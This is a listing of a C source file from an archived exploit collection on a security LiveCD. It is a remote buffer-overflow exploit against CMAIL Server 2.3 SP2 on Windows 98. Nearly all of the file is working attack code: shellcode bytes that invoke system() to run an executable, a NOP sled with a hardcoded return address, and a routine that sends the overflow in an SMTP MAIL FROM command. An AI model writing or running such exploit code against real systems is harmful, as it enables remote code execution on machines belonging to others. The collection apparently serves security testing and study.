home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / cmailserver / cmail2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  102 lines
  1. CMail Server
  2.  
  3. /*=============================================================================
  4.    CMAIL Server 2.3 SP2 Exploit for Windows98
  5.    The Shadow Penguin Security (http://shadowpenguin.backsection.net)
  6.    Written by UNYUN (shadowpenguin@backsection.net)
  7.   =============================================================================
  8. */
  9. #include <stdio.h>
  10. #include <string.h>
  11. #include <netdb.h>
  12. #include <netinet/in.h>
  13. #include <sys/socket.h>
  14. #include <sys/types.h>
  15. #include <sys/time.h>
  16. #include <unistd.h>
  17.  
  18. #define  BUFSIZE    2000
  19. #define  SMTP_PORT  25
  20. #define  RETADR     626
  21. #define  JMPADR     622
  22. #define  JMPOFS     6
  23. #define  EIP        0xbff7a06b
  24. #define  NOP        0x90
  25. #define  JMPS       0xeb
  26.  
  27. unsigned char exploit_code[200]={
  28. 0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,
  29. 0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,0xBF,0xFF,
  30. 0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xE4,
  31. 0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,0xF7,
  32. 0xBF,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52,
  33. 0x32,0xE4,0x83,0xC3,0x04,0x88,0x23,0xB8,0x28,
  34. 0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF8,0x43,0x53,
  35. 0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,
  36. 0x33,0xC0,0x50,0xFF,0xD7,0xE8,0xB0,0xFF,0xFF,
  37. 0xFF, 0x00};
  38. unsigned char cmdbuf[200]="msvcrt.dll.system.exit.welcome.exe";
  39.  
  40. int     main(int argc,char *argv[])
  41. {
  42.         struct hostent      *hs;
  43.         struct sockaddr_in  cli;
  44.         char                packetbuf[BUFSIZE+3000],buf[BUFSIZE];
  45.         int                 sockfd,i,ip;
  46.  
  47.         if (argc<2){
  48.             printf("usage\n %s HostName\n",argv[0]);
  49.             exit(1);
  50.         }
  51.         bzero(&cli, sizeof(cli));
  52.         cli.sin_family = AF_INET;
  53.         cli.sin_port = htons(SMTP_PORT);
  54.         if ((cli.sin_addr.s_addr=inet_addr(argv[1]))==-1){
  55.             if ((hs=gethostbyname(argv[1]))==NULL){
  56.                 printf("Can not resolve specified host.\n");
  57.                 exit(1);
  58.             }
  59.             cli.sin_family = hs->h_addrtype;
  60.             memcpy((caddr_t)&cli.sin_addr.s_addr,hs->h_addr,hs->h_length);
  61.         }
  62.  
  63.         if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
  64.             perror("socket");  exit(0);
  65.         }
  66.  
  67.         if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
  68.             perror("connect"); exit(0);
  69.         }
  70.         while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
  71.             packetbuf[i]=0;
  72.             if(strchr(packetbuf,'\n')!=NULL) break;
  73.         }
  74.  
  75.         strcat(exploit_code,cmdbuf);
  76.         exploit_code[65]=strlen(cmdbuf+23);
  77.         memset(buf,0x90,BUFSIZE);
  78.         ip=EIP;
  79.         buf[RETADR  ]=ip&0xff;
  80.         buf[RETADR+1]=(ip>>8)&0xff;
  81.         buf[RETADR+2]=(ip>>16)&0xff;
  82.         buf[RETADR+3]=(ip>>24)&0xff;
  83.         buf[JMPADR]  =JMPS;
  84.         buf[JMPADR+1]=JMPOFS;
  85.         memcpy(buf+RETADR+4,exploit_code,strlen(exploit_code));
  86.         buf[BUFSIZE]=0;
  87.  
  88.         sprintf(packetbuf,"helo penguin\r\n");
  89.         write(sockfd,packetbuf,strlen(packetbuf));
  90.         while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
  91.             packetbuf[i]=0;
  92.             if(strchr(packetbuf,'\n')!=NULL) break;
  93.         }
  94.         printf("%s\n",packetbuf);
  95.         sprintf(packetbuf,"MAIL FROM: aa <%s@aa.com>\r\n",buf);
  96.         write(sockfd,packetbuf,strlen(packetbuf));
  97.         sleep(100);
  98.         close(sockfd);
  99. }
  100.  
  101. -------------------
  102.